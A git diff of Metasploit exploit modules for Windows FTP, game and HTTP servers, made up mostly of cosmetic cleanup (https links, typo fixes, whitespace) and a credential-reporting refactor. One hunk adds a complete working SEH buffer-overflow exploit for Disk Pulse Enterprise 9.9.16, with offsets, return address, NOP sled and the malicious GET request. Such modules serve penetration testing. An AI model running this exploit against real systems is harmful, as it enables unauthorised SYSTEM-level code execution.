diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb
index 9a4d7033c4..d48f9e4942 100644
--- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb
+++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Vermillion FTP Daemon PORT Command Memory Corruption',
       'Description'    => %q{
           This module exploits an out-of-bounds array access in the Arcane Software
-        Vermillion FTP server. By sending an specially crafted FTP PORT command,
+        Vermillion FTP server. By sending a specially crafted FTP PORT command,
         an attacker can corrupt stack memory and execute arbitrary code.
 
         This particular issue is caused by processing data bound by attacker
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Processing is done using a source ptr (p) and a destination pointer (q).
         The vulnerable function walks the input string and continues while the
         source byte is non-null. If a comma is encountered, the function increments
-        the the destination pointer. If an ascii digit [0-9] is encountered, the
+        the destination pointer. If an ascii digit [0-9] is encountered, the
         following occurs:
 
           *q = (*q * 10) + (*p - '0');
@@ -157,7 +157,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
 
 
diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb
index 7a1886e304..d71f0dece4 100644
--- a/modules/exploits/windows/ftp/warftpd_165_pass.rb
+++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb
index 215b2c3cda..dc268cb67e 100644
--- a/modules/exploits/windows/ftp/warftpd_165_user.rb
+++ b/modules/exploits/windows/ftp/warftpd_165_user.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -85,5 +85,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/wftpd_size.rb b/modules/exploits/windows/ftp/wftpd_size.rb
index 2d45a51abd..f281510eb5 100644
--- a/modules/exploits/windows/ftp/wftpd_size.rb
+++ b/modules/exploits/windows/ftp/wftpd_size.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -60,5 +60,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/winaxe_server_ready.rb b/modules/exploits/windows/ftp/winaxe_server_ready.rb
index 91f7c27187..fa316c9828 100644
--- a/modules/exploits/windows/ftp/winaxe_server_ready.rb
+++ b/modules/exploits/windows/ftp/winaxe_server_ready.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
       c.put("220" + sploit + "\r\n")
       c.close
   end
-
 end
diff --git a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb
index 315c6878ee..bb34d95a35 100644
--- a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb
+++ b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb
index 44386886b3..f44774762e 100644
--- a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb
+++ b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb
index b72f062e28..67add37d8a 100644
--- a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb
+++ b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ftp/xftp_client_pwd.rb b/modules/exploits/windows/ftp/xftp_client_pwd.rb
index 413a344fc8..ed41fe9ad3 100644
--- a/modules/exploits/windows/ftp/xftp_client_pwd.rb
+++ b/modules/exploits/windows/ftp/xftp_client_pwd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -88,5 +88,4 @@ class MetasploitModule < Msf::Exploit::Remote
     client.get_once
 
   end
-
 end
diff --git a/modules/exploits/windows/ftp/xlink_client.rb b/modules/exploits/windows/ftp/xlink_client.rb
index 19ad19f835..a2c328e275 100644
--- a/modules/exploits/windows/ftp/xlink_client.rb
+++ b/modules/exploits/windows/ftp/xlink_client.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack buffer overflow in Xlink FTP Client 32
         Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
-        When a overly long FTP server response is recieved by a client,
+        When an overly long FTP server response is received by a client,
         arbitrary code may be executed.
       },
       'Author' 	 => [ 'MC' ],
diff --git a/modules/exploits/windows/ftp/xlink_server.rb b/modules/exploits/windows/ftp/xlink_server.rb
index 38eb9130af..8c3f596b1e 100644
--- a/modules/exploits/windows/ftp/xlink_server.rb
+++ b/modules/exploits/windows/ftp/xlink_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/games/mohaa_getinfo.rb b/modules/exploits/windows/games/mohaa_getinfo.rb
index 49ca90bcbc..b6ebadcadc 100644
--- a/modules/exploits/windows/games/mohaa_getinfo.rb
+++ b/modules/exploits/windows/games/mohaa_getinfo.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/games/racer_503beta5.rb b/modules/exploits/windows/games/racer_503beta5.rb
index 22bbb22979..ff545f49f5 100644
--- a/modules/exploits/windows/games/racer_503beta5.rb
+++ b/modules/exploits/windows/games/racer_503beta5.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/games/ut2004_secure.rb b/modules/exploits/windows/games/ut2004_secure.rb
index 228a1299fb..8b23ea2982 100644
--- a/modules/exploits/windows/games/ut2004_secure.rb
+++ b/modules/exploits/windows/games/ut2004_secure.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -110,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     vprint_status("This system appears to be patched")
     return Exploit::CheckCode::Safe
   end
-
 end
diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb
index ab2982dfe6..d65964f9f2 100644
--- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb
+++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb
index 068eaa7c62..075223b704 100644
--- a/modules/exploits/windows/http/altn_securitygateway.rb
+++ b/modules/exploits/windows/http/altn_securitygateway.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -123,5 +123,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/altn_webadmin.rb b/modules/exploits/windows/http/altn_webadmin.rb
index cf441e814d..7a2e4ee3a0 100644
--- a/modules/exploits/windows/http/altn_webadmin.rb
+++ b/modules/exploits/windows/http/altn_webadmin.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -105,5 +103,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb
index 3daf4782b2..cd2e6f4fc4 100644
--- a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb
+++ b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb
index d6af5213e2..45a9f9b54a 100644
--- a/modules/exploits/windows/http/apache_chunked.rb
+++ b/modules/exploits/windows/http/apache_chunked.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -312,5 +312,4 @@ class MetasploitModule < Msf::Exploit::Remote
       handler
     }
   end
-
 end
diff --git a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
index 30b847c864..4a77dae4ed 100644
--- a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
+++ b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb
index c28b6c9159..57558a787e 100644
--- a/modules/exploits/windows/http/apache_modjk_overflow.rb
+++ b/modules/exploits/windows/http/apache_modjk_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -98,5 +98,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb
index 78c9e1136e..35a1a87030 100644
--- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb
+++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -174,5 +175,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb
index 4358ca48dc..b647424a6a 100644
--- a/modules/exploits/windows/http/badblue_ext_overflow.rb
+++ b/modules/exploits/windows/http/badblue_ext_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/badblue_passthru.rb b/modules/exploits/windows/http/badblue_passthru.rb
index 7cb7b4ceb2..9b7aede09d 100644
--- a/modules/exploits/windows/http/badblue_passthru.rb
+++ b/modules/exploits/windows/http/badblue_passthru.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb
index 5d783e0beb..17278ba87a 100644
--- a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb
+++ b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable
         code is only accessible when clustering is configured. A request containing a
-        long JSESSION cookie value can lead to arbirtary code execution.
+        long JSESSION cookie value can lead to arbitrary code execution.
       },
       'Author'         => 'pusscat',
       'References'     =>
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/bea_weblogic_post_bof.rb b/modules/exploits/windows/http/bea_weblogic_post_bof.rb
index fa3c33b6d4..097bcb3655 100644
--- a/modules/exploits/windows/http/bea_weblogic_post_bof.rb
+++ b/modules/exploits/windows/http/bea_weblogic_post_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -182,5 +182,4 @@ class MetasploitModule < Msf::Exploit::Remote
     return "BEA WebLogic connector not found"
 
   end
-
 end
diff --git a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb
index d0504f7a46..505f164b63 100644
--- a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb
+++ b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/belkin_bulldog.rb b/modules/exploits/windows/http/belkin_bulldog.rb
index 28ff013950..f6e2d98e70 100644
--- a/modules/exploits/windows/http/belkin_bulldog.rb
+++ b/modules/exploits/windows/http/belkin_bulldog.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb
index 665c6a337d..d2be56a1a5 100644
--- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb
+++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -56,31 +56,13 @@ class MetasploitModule < Msf::Exploit::Remote
       ])
   end
 
-  def report_cred(opts)
-    service_data = {
-      address: opts[:ip],
-      port: opts[:port],
-      service_name: opts[:service_name],
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: fullname,
+  def service_details
+    super.merge({
+      port: 445,
+      service_name: 'smb',
       post_reference_name: self.refname,
-      private_data: opts[:password],
-      origin_type: :service,
-      private_type: :password,
-      username: opts[:user]
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: opts[:status],
       last_attempted_at: DateTime.now
-    }.merge(service_data)
-
-    create_credential_login(login_data)
+    })
   end
 
   def exploit
@@ -172,30 +154,26 @@ class MetasploitModule < Msf::Exploit::Remote
         'RunAsJob' => true
       )
     rescue
-      report_cred(
-        ip: datastore['RHOST'],
-        port: 445,
-        service_name: 'smb',
+      credential_data = {
         user: user,
-        password: pass,
+        private_data: pass,
         status: Metasploit::Model::Login::Status::INCORRECT
-      )
+      }.merge(service_details)
+      create_credential_and_login(credential_data)
 
-      print_status("Login attempt using windows/smb/psexec failed")
+      print_error("Login attempt using windows/smb/psexec failed")
       print_status("Credentials have been stored and may be useful for authentication against other services.")
       # report the auth
       return
     end
 
     # report the auth
-    report_cred(
-      ip: datastore['RHOST'],
-      port: 445,
-      service_name: 'smb',
-      user: user,
-      password: pass,
-      status: Metasploit::Model::Login::Status::SUCCESSFUL
-    )
+    credential_data = {
+        user: user,
+        private_data: pass,
+        status: Metasploit::Model::Login::Status::SUCCESSFUL
+    }.merge(service_details)
+    create_credential_and_login(credential_data)
 
     handler
   end
diff --git a/modules/exploits/windows/http/ca_igateway_debug.rb b/modules/exploits/windows/http/ca_igateway_debug.rb
index 112b9e4f8a..16a5c8fb8a 100644
--- a/modules/exploits/windows/http/ca_igateway_debug.rb
+++ b/modules/exploits/windows/http/ca_igateway_debug.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
index b1a2dc2efa..5640530a04 100644
--- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
+++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb
index fbc9abb865..659b9db0f8 100644
--- a/modules/exploits/windows/http/cogent_datahub_command.rb
+++ b/modules/exploits/windows/http/cogent_datahub_command.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -441,5 +441,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb
index cfff6f0e64..408876ad31 100644
--- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb
+++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/coldfusion_fckeditor.rb b/modules/exploits/windows/http/coldfusion_fckeditor.rb
index 43e9eaf0f3..7e64b152b6 100644
--- a/modules/exploits/windows/http/coldfusion_fckeditor.rb
+++ b/modules/exploits/windows/http/coldfusion_fckeditor.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb
index 23ff29daf7..c7e92722c1 100644
--- a/modules/exploits/windows/http/cyclope_ess_sqli.rb
+++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -164,11 +164,10 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")
     send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"})
     if res and res.code == 404
-      print_error("Server returned 404, the upload attempt probably failed.")
+      print_error("Server returned 404, the upload attempt probably failed")
       return
     end
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb
index 6f5e1069eb..b7d5c096f8 100644
--- a/modules/exploits/windows/http/desktopcentral_file_upload.rb
+++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb
index ea792f4abb..0995eae7df 100644
--- a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb
+++ b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb
index 9f08e6b521..19497c18e5 100644
--- a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb
+++ b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/disk_pulse_enterprise_get.rb b/modules/exploits/windows/http/disk_pulse_enterprise_get.rb
new file mode 100644
index 0000000000..bc878b6b7e
--- /dev/null
+++ b/modules/exploits/windows/http/disk_pulse_enterprise_get.rb
@@ -0,0 +1,92 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Disk Pulse Enterprise GET Buffer Overflow',
+      'Description'    => %q(
+        This module exploits an SEH buffer overflow in Disk Pulse Enterprise
+        9.9.16. If a malicious user sends a crafted HTTP GET request
+        it is possible to execute a payload that would run under the Windows
+        NT AUTHORITY\SYSTEM account.
+      ),
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Chance Johnson', # msf module - albatross@loftwing.net
+          'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
+        ],
+      'References'     =>
+        [
+          [ 'EDB', '42560' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'EncoderType' => "alpha_mixed",
+          'BadChars' => "\x00\x0a\x0d\x26"
+        },
+      'Targets'        =>
+        [
+          [ 'Disk Pulse Enterprise 9.9.16',
+            {
+              'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
+              'Offset' => 2492
+            }]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Aug 25 2017',
+      'DefaultTarget'  => 0))
+
+    register_options([Opt::RPORT(80)])
+  end
+
+  def check
+    res = send_request_cgi(
+      'uri'    =>  '/',
+      'method' =>  'GET'
+    )
+
+    if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
+      return Exploit::CheckCode::Appears
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    connect
+
+    print_status("Generating exploit...")
+    exp = payload.encoded
+    exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
+    exp << generate_seh_record(target.ret)
+    exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
+    exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
+    exp << 'B' * (5000 - exp.length) # padding
+
+    print_status("Sending exploit...")
+
+    send_request_cgi(
+      'uri' =>  '/../' + exp,
+      'method' =>  'GET',
+      'host' =>  '4.2.2.2',
+      'connection' =>  'keep-alive'
+    )
+
+    handler
+    disconnect
+  end
+end
diff --git a/modules/exploits/windows/http/diskboss_get_bof.rb b/modules/exploits/windows/http/diskboss_get_bof.rb
index 82a937c2c1..949c409798 100644
--- a/modules/exploits/windows/http/diskboss_get_bof.rb
+++ b/modules/exploits/windows/http/diskboss_get_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/disksavvy_get_bof.rb b/modules/exploits/windows/http/disksavvy_get_bof.rb
index c9fae8c3d1..27a0c657b3 100644
--- a/modules/exploits/windows/http/disksavvy_get_bof.rb
+++ b/modules/exploits/windows/http/disksavvy_get_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/disksorter_bof.rb b/modules/exploits/windows/http/disksorter_bof.rb
index 0896b5788b..b0cd822761 100644
--- a/modules/exploits/windows/http/disksorter_bof.rb
+++ b/modules/exploits/windows/http/disksorter_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/dupscts_bof.rb b/modules/exploits/windows/http/dupscts_bof.rb
index f2479dc7ac..10c543143e 100644
--- a/modules/exploits/windows/http/dupscts_bof.rb
+++ b/modules/exploits/windows/http/dupscts_bof.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-require 'msf/core'
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
diff --git a/modules/exploits/windows/http/easychatserver_seh.rb b/modules/exploits/windows/http/easychatserver_seh.rb
new file mode 100644
index 0000000000..69a7836865
--- /dev/null
